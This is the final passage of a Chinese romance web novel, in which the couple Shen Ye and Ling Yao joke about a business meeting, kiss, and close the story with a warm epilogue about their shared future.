沈野眼都没抬:“你上个月也这么保证的。后来对方王总回去就血压高了。” “那他活该!” 凌曜不服,一骨碌坐起来,“谁让他先玩阴的!这次我真讲道理,你就让我去嘛……” 沈野被他晃得文件都拿不稳了,只好放下,看着眼前这张写满“让我去玩”的脸,叹了口气:“行。但得加个条件。” “什么条件?” “我跟你一块儿去。”沈野看着他,“省得你又把讲道理变成掀桌子。” 凌曜撇嘴,但马上又咧嘴笑了,凑上去“叭”地亲了沈野一口:“成交!就知道你最好说话!” 夕阳渐渐沉入地平线,城市的灯火次第亮起。 公寓里,温暖的灯光下,两人依偎在一起,有一搭没一搭地聊着。 窗外的世界繁华喧嚣,窗内的时光静谧温馨。 他们的故事,还很长。 有携手并进的征程,有共同守护的现在,和可以期待的,未来的每一个明天。 【全文完】《 》